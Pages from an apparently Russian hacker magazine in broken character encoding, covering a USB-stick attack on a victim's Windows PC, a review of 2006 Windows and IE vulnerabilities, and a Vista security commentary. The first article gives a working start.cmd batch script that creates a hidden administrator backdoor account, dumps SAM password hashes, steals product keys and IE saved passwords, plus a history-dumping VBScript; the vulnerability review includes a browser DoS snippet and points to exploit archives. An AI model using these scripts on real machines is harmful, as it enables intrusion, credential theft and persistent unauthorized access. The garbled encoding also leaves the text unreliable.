ÎÑ È ÑËÀÁÛÉ LM-ÕÝØ ÏÀÐÎËß. ÄËß ÝÒÎÃÎ ÅÌÓ ÏÎÍÀÄÎÁÈÒÑß ÔÈÇÈ×ÅÑÊÈÉ ÄÎÑÒÓÏ
Ê ÆÅÐÒÂÅ, USB-ÔËÅØÊÀ, ÍÓ È ÊÎÍÅ×ÍÎ «SOME SCRIPTS AND SOME TOOLS» 

Þðèé Íàóìîâ àêà Ñêðèïò
no e-mail

ôëåø-ííàïàäåíèå

Äâà ðàçäåëà ôëåøêè U3
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è îòîáðàæåíèÿ èñòîðèè ïàðîëåé, ProdukKey äëÿ
êðàæè ëèöåíçèîííûõ êëþ÷åé Windows, Protected
Storage PassView îò Nir Sofer äëÿ äàìïà ââåäåííûõ
äàííûõ â IE. Äëÿ ïðîñìîòðà èñòîðèè ïîñåùåíèé IE
ìîãó ïîñîâåòîâàòü ie-view, íî ÿ èñïîëüçóþ îòäåëü-
íûé vbs-ñêðèïò è ñ óäîâîëüñòâèåì ïîäåëþñü èì âî
âòîðîì ëèñòèíãå.

Èòàê, õýø ïîëó÷åí, à ñàìîãî ïàðîëÿ íåò. Äëÿ
ðàñøèôðîâêè ïîëó÷åííûõ õýøåé ïàðîëåé ÿ èñïîëü-
çóþ óòèëèòó Rainbow Crack. Ìîæíî âçÿòü è äðó-
ãóþ, — ýòî äåëî âêóñà êàæäîãî.

I'll bbe bback… Âîò ìû è ðàññìîòðåëè òàê íàçû-
âàåìóþ «ìîäåëü âçëîìà». Áîëåå òîãî, ïðè ïîäðîá-
íîì ðàññìîòðåíèè îêàçàëîñü, ÷òî âñå ýòî áåç ïðîá-
ëåì ìîæíî ðåàëèçîâàòü, ñîâñåì íå ïðèáåãàÿ ê òåõ-
íîëîãèè U3! Ñâîáîäà òâîð÷åñòâà — ýòî ãëàâíîå
äëÿ õàêåðà. Óäà÷è!

foofus.net/fizzgig/pwdump/
pwdump
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Ïðèìåð ôàéëà start.cmd

@echo off

@if not exist \logfiles md \logfiles >nul

;ñîçäàåì ïàïêó äëÿ ëîã-ôàéëîâ

@echo Computer Name is: %computername% and the Logged on User Name Is: %user-

name% The date and Time is: %date% %time%>> \logfiles\%computername%_load.log2>&1

@ipconfig /all >> \logfiles\%computername%_load.log 2>&1;ïðîèçâîäèì çàïèñü äàííûõ 

î êîìïüþòåðå è ñåòè â ëîã-ôàéë

@net user /add xakep qw123as /fullname:"I am real cool mega hcaker!" >>

\logfiles\%computername%_load.log 2>&1

@net localgroup Administrators xakep/add >>\logfiles\%computername%_load.log 2>&1

@echo MYUSER: xakep Password: qw123as >>\logfiles\%computername%_load.log 2>&1

@reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\

SpecialAccounts\UserList" /v

xakep /t reg_dword /d 0 /f >> \logfiles\%computername%_load.log 2>&1

;ñîçäàåì ÷åðíûé õîä â ñèñòåìå. Ó÷åòíàÿçàïèñü "xakep" ñ ïàðîëåì "qw123as"

@.\pwdump 127.0.0.1 >> \logfiles\%computername%_load.log 2>&1

;äåëàåì äàìï sam-ôàéëà ïàðîëåé

@.\produkey /nosavereg /stext "\logfiles\%computername%_zzz.txt" /

remote%computername% >> \logfiles\%computername%_load.log 2>&1

@copy \logfiles\%computername%* \logfiles\%computername%_load.log >> nul

@del /f /q"\logfiles\%computername%_zzz.txt"

;äåëàåì äàìï êëþ÷åé ïðîäóêòîâ â ñèñòåìå

@cscript //nologo .\ie.vbs >> \logfiles\%computername%_load.log 2>&1

;äåëàåì äàìï èñòîðèè ïîñåùåíèé ñòðàíèö â Internet Explorer

@.\pspv.exe /stext "\logfiles\%computername%_LSA.log" >> \logfiles\%computer-

name%_load.log 2>&1

@copy \logfiles\%computername%* \logfiles\%computername%_load.log >> nul

@del /f /q"\logfiles\%computername%_LSA.log"

;ïûòàåìñÿ äîñòàòü ïàðîëè, îñòàâëåííûå â IE

:End

@exit

Ïðèìåð ôàéëà ie.vbs

on error resume next

set sh = createobject("Shell.Application")

const ssfHISTORY = 34

set history = sh.NameSpace(ssfHISTORY)

for each item in history.items

wscript.echo history.GetDetailsOf(item,-1)

if item.isFolder then

set itFol = item.GetFolder

for each item2 in itFol.items

wscript.echo vbtab & itFol.GetDetailsOf(item2,-1)

Next

wscript.echo String (80,"-")

end if

next

(1)

(2)



ÒÎÏÎÂÛÅ ÓßÇÂÈÌÎÑÒÈ XP ÝÒÎÃÎ ÃÎÄÀ
ÕÈÒ-ÏÀÐÀÄ ÓßÇÂÈÌÎÑÒÅÉ ÏÐÎÄÓÊÒÎÂ MICROSOFT ÍÈÑÊÎËÜÊÎ
ÍÅ ÓÑÒÓÏÀÅÒ ÏÎ ÏÎÏÓËßÐÍÎÑÒÈ ÐÅÉÒÈÍÃÓ ÊËÈÏÎÂ ÍÀ MTV. È
ÌÅÍßÅÒÑß ÎÍ ÑÒÐÅÌÈÒÅËÜÍÅÅ, ×ÅÌ ÏÎËÎÆÅÍÈÅ ÊÎÌÀÍÄ
ÔÓÒÁÎËÜÍÎÃÎ ×ÅÌÏÈÎÍÀÒÀ

Crazy_Script
(crazy_script@vr-online.ru)

íîâîñòè
ñ ëëèíèè
ôðîíòà

MS06-0049,
MS06-0051
Ìíîãî÷èñëåííûå
óÿçâèìîñòè ââ ÿÿäðå WWindows

Ðåëèç: 09.08
Îïàñíîñòü: 8
Óÿçâèìû: 2000, XP, 2003

Ïåðåïîëíåíèå áóôåðà ïîçâî-
ëÿåò âûïîëíèòü ïîâûøåíèå
ïðèâèëåãèé ÷åðåç óïðàâëÿå-
ìóþ ïîëüçîâàòåëåì áèáëèîòå-
êó â ïðîöåññå WinLogon (ïðîá-
ëåìà îáðàáîòêè èñêëþ÷èòåëü-
íûõ ñèòóàöèé). 

MS06-0055
Ïåðåïîëíåíèå ááóôåðà
â ááèáëèîòåêå VVector GGraphics
Rendering

Ðåëèç: 19.09
Îïàñòíîñòü: 10
Óÿçâèìû: 2000+SP4, XP+SP2,
2003+SP1

18 ñåíòÿáðÿ â áëîãå 
êîìïàíèè Sun-belt Software
(sunbeltblog.com), èçâåñòíîé ïî
ðàçðàáîòêàì â ñôåðå áåçîïàñ-
íîñòè, ïîÿâèëñÿ ïîñò, óêàçûâà-
þùèé íà íàëè÷èå î÷åðåäíîé
óÿçâèìîñòè â Internet Explorer.
Äåëî çàêëþ÷àåòñÿ â ïåðåïîë-
íåíèè áóôåðà â áèáëèîòåêå
Vector Graphics Rendering. 

Ïåðåïîëíåíèå âîçíèêà-
åò ïðè âûïîëíåíèè «çëûõ»
vml-äîêóìåíòîâ âñëåäñòâèå
îøèáêè ïðîâåðêè ðàçìåðà
äàííûõ â áèáëèîòåêå vgx.dll.
VML — îñíîâàííûé íà XML
ÿçûê ðàçìåòêè ãðàôèêè. Îí
ïîçâîëÿåò óñêîðèòü çàãðóçêó
ïðè ðàáîòå ñ Ñåòüþ, à òàêæå
îñóùåñòâëÿòü ñâîáîäíîå
ìàñøòàáèðîâàíèå âåêòîðíîé
ãðàôèêè. Ñòåê ïåðåïîëíÿåòñÿ
èç-çà ñîäåðæàíèÿ â VML
ñëèøêîì äëèííîãî ìåòîäà fill,
îñóùåñòâëÿþùåãî îïåðàöèè ñ
ìåòàäàííûìè. Äûðêå ñðàçó
ïðèñâîèëè 10 óðîâåíü îïàñ-
íîñòè. Íåñîìíåííî, IE ïîäâåð-
æåí ëèøü â òîì ñëó÷àå, åñëè â

áðàóçåðå âêëþ÷åíî îòîáðàæå-
íèå àêòèâíîãî ñîäåðæàíèÿ. Íî
àòàêà íå îáÿçàòåëüíî áóäåò
ïðîõîäèòü ÷åðåç ñàéò.
Microsoft Outlook òàêæå ïîä-
âåðæåí ýòîé óÿçâèìîñòè. Ïîþ-
çàòü áàã ìîæíî óæå ãîòîâûì
ñïëîèòîì MS IE (VML) Remote
Buffer Overflow, íàïèñàííûì
õàêåðîì jamikazu. Ñïëîèò
ïðåäñòàâëÿåò ñîáîé html-ñòðà-
íèöó ñ ôóíêöèÿìè javascript.
Ïðè îòêðûòèè âûïîëíÿåòñÿ
êîä, è ïî äåôîëòó íà êîìïüþ-
òåðå æåðòâû çàïóñêàåòñÿ calc.
Óÿçâèìîñòü îòëè÷íî ïîäõîäèò
äëÿ çàïóñêà øïèîíîâ è áýêäî-
ðîâ íà óäàëåííîì êîìïå. Ðàç-
ëè÷íûå ìîäèôèêàöèè ñïëîèòà
ìîæíî âçÿòü íà milw0rm.com.

Ïî ïëàíó äûðêà çàêðî-
åòñÿ ñ î÷åðåäíîé ñåðèåé ïàò-
÷åé, íàìå÷åííûõ íà 10 îêòÿá-
ðÿ (ê ìîìåíòó âûõîäà æóðíà-
ëà âñå óæå áóäåò çàêîíîïà÷å-
íî). Íî ïî ñëóõàì ðàçðàáîò÷è-
êè ñîáèðàþòñÿ çàêðûòü vml-
bug ðàíüøå. Íå óäèâèòåëüíî,
âåäü êîëè÷åñòâî âðàæäåáíûõ
ñàéòîâ ðàñòåò è áóäåò ðàñòè
äàæå ïîñëå âûõîäà ïàò÷à. 
À ïîêà ñïåöèàëèñòû èç 0-day
Emergency Response Team
âûñòóïèëè â ðîëè çàùèòíèêîâ
êèáåðïðîñòðàíñòâà è âûïóñ-
òèëè ëè÷íîå íåîôèöèàëüíîå
îáíîâëåíèå, êîòîðîå, êñòàòè,
Ãåéòñ&Ñî ñòàâèòü íå ðåêî-
ìåíäîâàëè.
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CVE-22006-44777
Ïåðåïîëíåíèå ááóôåðà
â ddaxctle.ocx

Ðåëèç: 28.08
Îïàñíîñòü: 8
Óÿçâèìû: 2000+SP4, XP+SP2,
2003+SP1

È ñíîâà ïåðåïîëíåíèå áóôå-
ðà. Íà ýòîò ðàç îáúåêòîì
îøèáêè ñòàë êîìïîíåíò
ActiveX — daxctle.ocx. Èç-çà
íåäîñòàòî÷íîé ïðîâåðêè
âõîäíûõ äàííûõ çëîóìûø-
ëåííèê ëèáî äîáèâàåòñÿ DoS,
ëèáî âûïîëíÿåò ñâîé êîä íà
êîìïüþòåðå æåðòâû. Áàãó íà-
øåë òîâàðèù nop

(www.xsec.org). Îí æå íàïèñàë
ýêñïëîéò äëÿ ðåàëèçàöèè
óÿçâèìîñòè. Äëÿ ïðîâåäåíèÿ
DoS-àòàêè íà IE õâàòàåò
ëèøü ïàðû êîìàíä:

<script>

var target = new 

ActiveXObject

("DirectAnimation.

PathControl");

target.Spline

(0xffffffff, 1);

</script>

Ïåðåïîëíåíèå äèíàìè÷åñêîé
ïàìÿòè ïðîèñõîäèò ñ ïî-
ìîùüþ äåñêðèïòîðà
DirectAnimation.PathControl.
Äëÿ áîëåå äîñòîéíîãî ïðèìå-
íåíèÿ óÿçâèìîñòè õàêåð çà-
ðåëèçèë ïóáëè÷íûé 0-day
Heap Overflow Download Exec
Exploit. Ïðè çàïóñêå ñ ïàðà-
ìåòðàìè [com.exe <url>
<htmlname>] ýêñïëîéò ãåíå-
ðèðóåò html-ñòðàíèöó ñ íåêèì
øåëë-êîäîì, çàäà÷åé êîòîðî-
ãî ÿâëÿåòñÿ: 

1 ÑÊÀ×ÀÒÜ
ØÏÈÎÍ/ÁÝÊÄÎÐ
ÈÇ ÑÅÒÈ 
ÏÎ ÓÊÀÇÀÍÍÎÌÓ
ÀÄÐÅÑÓ;
2 ÀÊÒÈÂÈÐÎÂÀÒÜ ÅÃÎ.

MS06-0036
Ïåðåïîëíåíèå ááóôåðà ââ
DHCP-êêëèåíòå

Ðåëèç: 11.07
Îïàñíîñòü: 6
Óÿçâèìû: 2000, XP, 2003

Ìîæåò áûòü, ýòà áàãà â DHCP-
êëèåíòå è íå ïîëó÷èëà øèðî-
êîãî ïðèìåíåíèÿ, íî, ïî ìíå-
íèþ ìíîãèõ ñïåöèàëèñòîâ â
îáëàñòè áåçîïàñíîñòè, òàêèå
äûðû òàÿò â ñåáå íåìàëî óã-
ðîç. DHCP — ñåòåâîé ïðîòî-
êîë, ñ ïîìîùüþ êîòîðîãî
êîìïüþòåðû ïîëó÷àþò ðàçíî-
îáðàçíûå ïàðàìåòðû äëÿ ðà-
áîòû â ñåòè TCP/IP. Ïðîòîêîë
èñïîëüçóåò øèðîêîâåùàòåëü-

íûå êàíàëû äëÿ òàê íàçûâàå-
ìîé «àðåíäû» IP-àäðåñîâ.
À ÷òî ïðîèçîéäåò ñ ñåòüþ, åñ-
ëè çàðåçåðâèðîâàòü íà DHCP-
ñåðâåðå áîëüøîå êîëè÷åñò-
âî IP, à çàòåì ïåðåõâàòûâàòü
çàïðîñû íà ïîëó÷åíèå àäðå-
ñîâ è âûäàâàòü íåâåðíóþ êîí-
ôèãóðàöèþ? Äóìàþ, âîïðîñû
î ïîïàäàíèè óÿçâèìîñòè â õèò-
ïàðàä îòïàäàþò ñàìè ñîáîé :).
À ñêîðî âñòðîåííàÿ ïîääåðæ-
êà IPv6 ïîÿâèòñÿ â Windows
Vista. Â äàííîì ñëó÷àå âñå áå-
äû âîçíèêàþò èç-çà íåâåðíîé
ïðîâåðêè äàííûõ â êëèåíòå âî
âðåìÿ îáðàáîòêè DHCP-îòâå-
òîâ. Ýêñïëîéò ýòîé óÿçâèìîñ-
òè íàì ëþáåçíî ïðåäîñòàâëÿ-
åò êîìàíäà «Black Security».

Íàèáîëåå ÿðêèìè óÿç-
âèìîñòÿìè Windows
ýòîãî ãîäà ÿâëÿåòñÿ
÷åðåäà 0-day ýêñïëîé-
òîâ â Internet Explorer.
Íî íà ïåðâîå ìåñòî
ñðåäè íèõ ÿ áû ïîìåñ-
òèë WMF-BUG. Íà
òðåòüåì ìåñòå — 
÷åðåäà 0-day â îôèñ-

íûõ ïðèëîæåíèÿõ
Microsoft. ×åòâåðòîå
ìåñòî îòäàíî ïåðåïîë-
íåíèþ áóôåðà â
DHCP-êëèåíòå
Windows.

Íó è íà ïîñëåä-
íåì ìåñòå — àíåêäîò
èç îáëàñòè áàãòðåêà,
MAILSLOT BUG.

OFFTOPIC
ÑÏÅÖ Â ÑÔÅÐÅ IT-ÁÅÇÎÏÀÑÍÎÑÒÈ, 
ÀÂÒÎÐ È ÌÎÄÅÐÀÒÎÐ ÔÎÐÓÌÎÂ
SECURITYLAB, MCSE

S P E  I A L Ì Í Å Í È Å

MS06-0001
Îòêàç ââ îîáñëóæèâàíèè
ïðè îîáðàáîòêå WWMF-ôôàéëîâ

Ðåëèç: 05.01
Îïàñòíîñòü: 6
Óÿçâèìû: 2000, XP, 2003

Îäíà èç ñàìûõ ãðîìêèõ è îá-
ñóæäàåìûõ óÿçâèìîñòåé
ýòîãî ãîäà! Ïîñòîÿííûå äèñ-
êóññèè âîêðóã ýòîãî ñîáûòèÿ
òàê è íå äàëè ðåçóëüòàòîâ.
Äîøëî äàæå äî çàÿâëåíèé î
òîì, ÷òî êîðïîðàöèÿ (èëè åå
îòäåëüíûå ðàçðàáîò÷èêè)
ÿêîáû ñïåöèàëüíî îñòàâèëè
«÷åðíûé õîä». Äàæå ïðèâî-
äèëèñü âïîëíå ðåàëüíûå àð-

ãóìåíòû â îñóæäåíèå
Microsoft. Íî äåëî ñîâñåì íå
â øóìå. ×àñòü íåçàâèñèìûõ
ñåêüþðèòè-ýêñïåðòîâ ñîãëà-
ñèëàñü, ÷òî wmf-bug — íå òè-
ïè÷íàÿ îøèáêà âðîäå ïåðå-
ïîëíåíèÿ áóôåðà, à ñêîðåå
ïðèìåð èñïîëüçîâàíèÿ äîêó-
ìåíòèðîâàííûõ âîçìîæíîñ-
òåé ôîðìàòà WMF. Ìàëî òî-
ãî, ðåàëèçàöèÿ ïðèøëàñü ïî
äóøå ïðîãðàììèñòàì è äàæå
ïîÿâèëàñü â íåêîòîðûõ
opensource-ïðîåêòàõ. Âîîá-
ùå, ôàéëû wmf áûëè âêëþ-
÷åíû åùå â Windows 3.0,
êîãäà îáðàáîòêà èçîáðàæå-
íèé øëà ìåäëåííî (ïîýòîìó
è áûëà ïðåäóñìîòðåíà âîç-
ìîæíîñòü ïðåðâàòü âûïîë-
íåíèå êîäà). Óÿçâèìîñòü
ñêðûâàåòñÿ â áèáëèîòåêå
gdi32.dll è äàåò âîçìîæíîñòü
àòàêóþùåìó âûçâàòü DoS ñ
ïîìîùüþ ñïåöèàëüíîãî wmf-
ôàéëà. Ïðè÷åì, åñëè äàæå
ðàñøèðåíèå «çëîãî» ôàéëà
ïðåòåðïåëî èçìåíåíèÿ (gif,
jpg, png), àòàêà âñå ðàâíî
ïðîéäåò óñïåøíî.

Ò Î Ï  Á À Ã Î Â  Ç À  Ã Î Ä
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MS06-0035
Ïåðåïîëíåíèå ááóôåðà
â ññëóæáå SServer

Ðåëèç: 11.07
Îïàñíîñòü: 9
Óÿçâèìû: 2000+SP3, XP+SP3,
2003+SP2

Ïîñëå ïóáëèêàöèè èíôîðìà-
öèè îá óÿçâèìîñòè Gerardo
Richarte èç êîìàíäû «Core
Impact» çàíÿëñÿ íàïèñàíèåì
ýêñïëîéòà. Óÿçâèìîñòü çàê-
ëþ÷àëàñü â ïåðåïîëíåíèè áó-

ôåðà â äðàéâåðå srv.sys ïðè
îáðàáîòêå Mailslot-ñîîáùå-
íèé. Ýòî âîçíèêàëî èç-çà íå-
êîððåêòíîé èíèöèàëèçàöèè
áóôåðà âî âðåìÿ îáðàáîòêè
SMB-ïàêåòîâ.

Õàêåðó âñå æå óäàëîñü
çàâàëèòü ñåðâåð ÷åðåç SMB, è
îí, íå äîëãî äóìàÿ, îòðåëèçèë
ñïëîèò. È òîëüêî ïîòîì, ñïóñ-
òÿ íåêîòîðîå âðåìÿ, îí ïîíÿë,
÷òî àòàêå ïîäâåðãàë àáñîëþò-
íî ïðîïàò÷åííûé ñåðâ. 0-day!
Íî áûëî óæå ñëèøêîì ïîçäíî:
êîä ñòðåìèòåëüíî ëåòàë ïî
ïðîñòîðàì Ñåòè.

1 0-day óÿçâèìîñòü 
â Microsoft Vector
Graphics Rendering
Library (VML).

2 Ìíîãî÷èñëåííûå óÿç-
âèìîñòè â Microsoft
Internet Explorer (multi-
ple bugs).

3 Ïåðåïîëíåíèå áóôåðà
â daxctle.ocx Microsoft
Windows.

4 Ìíîãî÷èñëåííûå óÿç-
âèìîñòè â ÿäðå Windows.

5 Ïåðåïîëíåíèå áóôåðà
â DHCP-êëèåíòå.

ÇÀÐÀÇÀ
ÑÏÅÖ Â ÑÔÅÐÅ IT-ÁÅÇÎÏÀÑÒÍÎÑÒÈ,
ÐÓÊÎÂÎÄÈÒÅËÜ ÏÐÎÅÊÒÀ
SECURITY.NNOV.RU

S P E  I A L Ì Í Å Í È Å

MS06-0021
Ìíîæåñòâåííûå
óÿçâèìîñòè ââ IIE

Ðåëèç: 13.06
Îïàñíîñòü: 8
Óÿçâèìû: IE 5.0.1, IE 6.x

Çäåñü, êàê ýòî è ñëåäóåò
èç íàçâàíèÿ, èìååò ìåñòî öå-
ëûé ðÿä äûð, êîòîðûå ïîçâî-
ëÿþò àòàêóþùåìó ïðîâåñòè
ôèøèíã-àòàêó. Ïðè îáðàáîòêå
HTML â êîäèðîâêå UTF-8 âîç-
íèêàåò îøèáêà ïîâðåæäåíèÿ
ïàìÿòè. Àòàêóþùèé, ïðè íà-
ëè÷èè ñïåöèàëüíî ñôîðìèðî-
âàííîé web-ñòðàíèöû, ìîæåò
âûïîëíèòü ïðîèçâîëüíûé
êîä. Òàêàÿ æå îøèáêà ïîâ-
ðåæäåíèÿ ïàìÿòè îáíàðóæè-
âàåòñÿ ïðè ðàáîòå ñ ïàðàìåò-
ðàìè â ActiveX.

Ïîìèìî ïîâðåæäåíèÿ
ïàìÿòè âûÿâëÿåòñÿ óÿçâè-
ìîñòü èíèöèàëèçàöèè íåêîòî-
ðûõ COM-îáúåêòîâ, à òàê æå
îøèáêà ñîõðàíåíèÿ *.mht-
ôàéëîâ. Â ïîñëåäíåì ñëó÷àå
àòàêóþùèé ìîæåò âûïîëíèòü
ïðîèçâîëüíûé êîä íà óäàëåí-

íîé ìàøèíå, åñëè óáåäèò ãëó-
ïîãî þçåðà ñîõðàíèòü ñòðà-
íèöó â ýòîì ôîðìàòå

packetstormsecurity.nl
milw0rm.com
securitydot.net
securiteam.com
frsirt.com/exploits
elhacker.net/eexploits
insecure.org/sploits

MS06-0027,
MS06-0028
Êðèòè÷åñêèå ääûðû ââ WWord,
Excel èè PPower PPoint

Ðåëèç: 13.06
Îïàñíîñòü: 6
Óÿçâèìû: 2000+SP3, XP+SP3,
2003+SP2

Â ìàå ýòîãî ãîäà íàøè êèòàéñ-
êèå òîâàðèùè ñ óäîâîëüñòâè-
åì áàëîâàëèñü áàãàìè îôèñ-
íûõ ïðèëîæåíèé, ðåçóëüòàòîì
÷åãî ñòàëà ÷åðåäà ñîáûòèé,
íàçûâàåìûõ òàêæå «0-day

àòàêàìè» (â îñíîâíîì íà ïðà-
âèòåëüñòâåííûå êðóãè Çàïàä-
íûõ ñòðàí). Ãîâîðèëè, ÷òî êè-
òàéöåâ ïîäâåëà òàêè ñîáñò-
âåííàÿ ëåíü — ïîñëå ýêñïëóà-
òàöèè óÿçâèìîñòè íà êîìï ñà-
äèëñÿ òðîé, êîòîðîãî âñêîðå
âû÷èñëèëè è ïîéìàëè. Ãëàâ-
íàÿ çàäà÷à ýòèõ àòàê — çàñòà-
âèòü ïîëüçîâàòåëÿ îòêðûòü
âðåäîíîñíûé äîêóìåíò. Îñ-
òàëüíîå — äåëî òåõíèêè: ïó-
òåì ïîäìåíû óêàçàòåëÿ ïðî-
èñõîäèò èñêàæåíèå ñèñòåìíîé
ïàìÿòè, à õàêåð â ýòî âðåìÿ
ïåðåõâàòûâàåò óïðàâëåíèå.
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Îáñóæäåíèå öåëåñîîáðàçíîñòè ïåðåõîäà íà Âèñòó
ñîâåðøåííî áåçîñíîâàòåëüíî. Êàê áóäòî ó íàñ åñòü
âûáîð — ïåðåõîäèòü èëè íå ïåðåõîäèòü. Òàêèå ðå-
øåíèÿ ïðèíèìàþòñÿ íà âûñîêîì êîðïîðàòèâíîì
óðîâíå è íå íàìè, à çà íàñ. Íåèçáåæíîñòü ïåðåõîäà
íà Âèñòó â èñòîðè÷åñêîé ïåðñïåêòèâå ñîâåðøåííî
î÷åâèäíà. Ïðîéäåò ñîâñåì íåìíîãî âðåìåíè, è Mic-
rosoft ïðåêðàòèò ïîääåðæêó XP (ïîääåðæêà w2k åùå
íå ïðåêðàùåíà, íî ëåãàëüíûì ïóòåì åå óæå íå äî-
áûòü), ïîÿâÿòñÿ ïðîãðàììû è îáîðóäîâàíèå, ðàáî-
òàþùèå òîëüêî íà Âèñòå, à ñàìà Âèñòà îêàæåòñÿ
ïðåäóñòàíîâëåííîé íà ìèëëèîíàõ êîìïüþòåðàõ.

Ìû ìîæåì ëèøü çàòÿíóòü ïåðåõîä íà Âèñòó,
íî ïðåäîòâðàòèòü åãî íå â ñèëàõ. Îòíîøåíèå ê ñà-
ìîé Âèñòå ó ìûùúõ'à ìíîãîêðàòíî ìåíÿëîñü ïî õî-
äó èññëåäîâàíèé: îò àáñîëþòíîé íåïðèÿçíè äî æå-
ëàíèÿ âûäðàòü ÿäðî è ñêðåñòèòü åãî ñ w2k, ïîëó-

÷èâ îïåðàöèîííóþ ñèñòåìó ñâîåé ìå÷òû, â ïðîöåñ-
ñå îñóùåñòâëåíèÿ êîòîðîé ìûùúõ íåîæèäàííî
ðàçãëÿäåë äåìîíè÷åñêèé ëèê, ñêðûâàþùèéñÿ çà
àíãåëüñêèì èíòåðôåéñîì, è ïîñëå ãëóáîêîé äå-
ïðåññèè âûñåë íà èçìåíó, ãðàíè÷àùóþ ñ ñóèöè-
äîì. Êàê ñòûäíî çà ìèð, â êîòîðîì ïðèõîäèòñÿ
æèòü, íî... îáî âñåì ïî ïîðÿäêó.

÷òî ââèñòà ííàì ããîòîâèò. Microsoft ðàäèêàëüíî
îïòèìèçèðîâàëà ÿäðî, îäíàêî áîëüøàÿ ÷àñòü
óëó÷øåíèé îòíîñèòñÿ ê ìíîãîïðîöåññîðíûì ìà-
øèíàì (äâóÿäåðíûå ïðîöåññîðû íå â ñ÷åò) è ìåíå-
äæåðó ôàéëà ïîäêà÷êè (ïðè íûíåøíèõ öåíàõ íà
ïàìÿòü âñïîìèíàòü î ïîäêà÷êå ïðîñòî ñìåøíî,
èìåÿ âñåãî ëèøü 512 Ìáàéò íà W2K, îò íåå ìîæíî
ïîëíîñòüþ îòêàçàòüñÿ). Îñòàëüíûå ìåõàíèçìû îï-
òèìèçàöèè ïðîÿâëÿþò ñåáÿ ëèøü ïðè ðàáîòå ñ ïðè-
ëîæåíèÿìè, æàäíûìè äî ïàìÿòè, èëè èíòåíñèâíîì
äèñêîâîì ââîäå/âûâîäå, ÷òî òèïè÷íî äëÿ ñåðâå-
ðîâ è ñîâñåì íåòèïè÷íî äëÿ ðàáî÷èõ ñòàíöèé. Íî
äàæå ýòîò âûèãðûø «ñêîìïåíñèðîâàí» òîðìîçà-
ìè, ïîðîæäåííûìè óñèëåííîé çàùèòîé ðååñòðà è
ôàéëîâîé ñèñòåìû îò íåïðåäíàìåðåííîãî ðàçðó-
øåíèÿ, ÷òî îïÿòü-òàêè áîëüøå ïîëåçíî äëÿ ñåðâå-
ðîâ, ÷åì äëÿ ðàáî÷èõ ñòàíöèé. Ïðî âîçìîæíîñòü
«ãîðÿ÷åãî» äîáàâëåíèÿ îïåðàòèâíîé ïàìÿòè è
ïðîöåññîðîâ ìîæíî áûëî áû äàæå è íå óïîìèíàòü,
åñëè áû ìàòåðèíñêèå ïëàòû íå âûãîðàëè ïðè ýòîì
äî îñíîâàíèÿ. Îäíîé ïîääåðæêîé ñî ñòîðîíû îïå-
ðàöèîííîé ñèñòåìû òóò íå îáîéòèñü: òðåáóåòñÿ
ñïåöèàëüíîå îáîðóäîâàíèå, èçíà÷àëüíî ðàññ÷è-
òàííîå íà òàêèå èçäåâàòåëüñòâà è ïðèìåíÿþùå-
åñÿ èñêëþ÷èòåëüíî â ìîùíûõ ñåðâåðàõ, êàê ïðà-
âèëî, îáúåäèíåííûõ â êëàñòåðû (ïîäðîáíîñòè
ìîæíî íàéòè â îôèöèàëüíîé ïðåçåíòàöèè îò MS:
download.microsoft.com/download/f/0/5/f05a42ce-575b-
4c60-82d6-208d3754b2d6/MemoryManagerInWindows.ppt).

Ïîâåðõ ÿäðà Microsoft âçãðîìîçäèëà ìíîæå-
ñòâî íîâûõ ñëóæá, â òîì ÷èñëå è ãëóáîêî íåíà-
âèñòíóþ ìíîãèì ïðîãðàììèñòàì ïëàòôîðìó .NET

(ïðåäñòàâëÿþùóþ ïî ñóòè òîò æå ñàìûé Visual Ba-
sic, òîëüêî â äðóãîì îáëè÷èè) è «àýðîäèíàìè÷å-
ñêèé» èíòåðôåéñ ñ êó÷åé ñïåöýôôåêòîâ, ïîæè-
ðàþùèõ îïåðàòèâíóþ ïàìÿòü è ïðîöåññîðíûå
òàêòû â íåèìîâåðíûõ êîëè÷åñòâàõ. Òî åñòü, âìå-
ñòî îáåùàííîãî óñêîðåíèÿ, ìû ïîëó÷èì êîíêðåò-
íûå òîðìîçà.

Ëàäíî, ôèã ñ íåé, ñ ïðîèçâîäèòåëüíîñòüþ.
Microsoft óæå ïðèó÷èëà íàñ, ÷òî êàæäàÿ ïîñëåäóþ-
ùàÿ âåðñèÿ Windows ðàáîòàåò ìåäëåííåå ïðåä-
ûäóùåé è òðåáóåò íàìíîãî áîëåå ìîùíîãî æåëå-
çà. Îñíîâíîå êðåäî Âèñòû — ýòî áåçîïàñíîñòü,
òî÷íåå — ïîëíîå îòñóòñòâèå òàêîâîé. Ôîðìàëüíî,
ðàçðàáîò÷èêè ïðåäïðèíÿëè öåëûé êîìïëåêñ «ïðî-
òèâîòàíêîâûõ» ìåð (òî åñòü ìåð, íàïðàâëåííûõ
ïðîòèâ òåõ, êòî â òàíêå): ðàíäîìèçàöèþ àäðåñíîãî
ïðîñòðàíñòâà, êîíòðîëü öåëîñòíîñòè ñëóæåáíûõ
ñòðóêòóð äèíàìè÷åñêîé ïàìÿòè ñ øèôðîâêîé ìà-
ãè÷åñêèì ñëîâîì ïî XOR, èçîëÿöèþ íóëåâîé ñåñ-
ñèè îò ïîëüçîâàòåëüñêèõ ïðèëîæåíèé, ïîíèæåíèå
óðîâíÿ ïðèâèëåãèé íåêîòîðûõ ñåòåâûõ ñåðâèñîâ è
ò.ä., è ò.ï. (ïîëíûé ïåðå÷åíü ñîäåðæèòñÿ â îôè-
öèàëüíîì äîêóìåíòå: http://download.microsoft.com/
download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/
kernel-en.doc). Íî, âî-ïåðâûõ, âñå ýòî óæå äàâíî áû-
ëî ðåàëèçîâàíî ñòîðîííèìè ðàçðàáîò÷èêàìè
â òîì æå çàùèòíîì êîìïëåêñå BufferShield (ïî-
äðîáíåå î êîòîðîì ìîæíî ïðî÷èòàòü â ñòàòüå «Ïå-
ðåïîëíåíèå áóôåðà íà ñèñòåìàõ ñ íåèñïîëíÿå-
ìûì ñòåêîì», ëåæàùåé íà ìûùúõ'èíîì ftp), òîëü-
êî òåïåðü ïîëüçîâàòåëü ïîëó÷àåò a-la BufferShield
â îäíîé êîðîáêå ñ Windows áåç âîçìîæíîñòè åãî
îòêëþ÷åíèÿ (äàæå åñëè îí åìó íà ôèã íå íóæåí),
à, âî-âòîðûõ (è ýòî ñàìîå âàæíîå!), ðàçðàáîò÷èêè
ïîõîðîíèëè ñòàðûé ñåòåâîé ñòåê, ïåðåïèñàâ åãî ñ
íóëÿ, è îäèí õâîñò çíàåò, ñêîëüêî íîâûõ îøèáîê
äîïóñòèëè ïðè ýòîì.

